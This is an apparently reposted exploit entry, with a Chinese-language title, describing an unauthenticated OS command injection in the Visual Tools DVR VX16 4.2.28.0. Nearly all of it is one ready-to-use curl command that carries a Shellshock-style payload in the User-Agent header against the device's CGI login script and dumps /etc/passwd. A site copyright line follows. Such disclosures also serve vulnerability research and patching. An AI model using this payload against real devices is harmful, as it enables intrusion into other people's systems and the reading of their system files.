# Visual Tools DVR VX16 4.2.28.0 命令注入漏洞
# Exploit Title: Visual Tools DVR VX16 4.2.28.0 - OS Command Injection (Unauthenticated) # Date: 2021-07-05 # Exploit Author: Andrea D'Ubaldo # Vendor Homepage: https://visual-tools.com/ # Version: Visual Tools VX16 v4.2.28.0 # Tested on: VX16 Embedded Linux 2.6.35.4. # An unauthenticated remote attacker can inject arbitrary commands to CGI script that can result in remote command execution. curl -H 'User-Agent: () { :; }; echo ; echo ; /bin/cat /etc/passwd' bash -s :'' http:/DVR_ADDR/cgi-bin/slogin/login.py
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
请登录后查看评论内容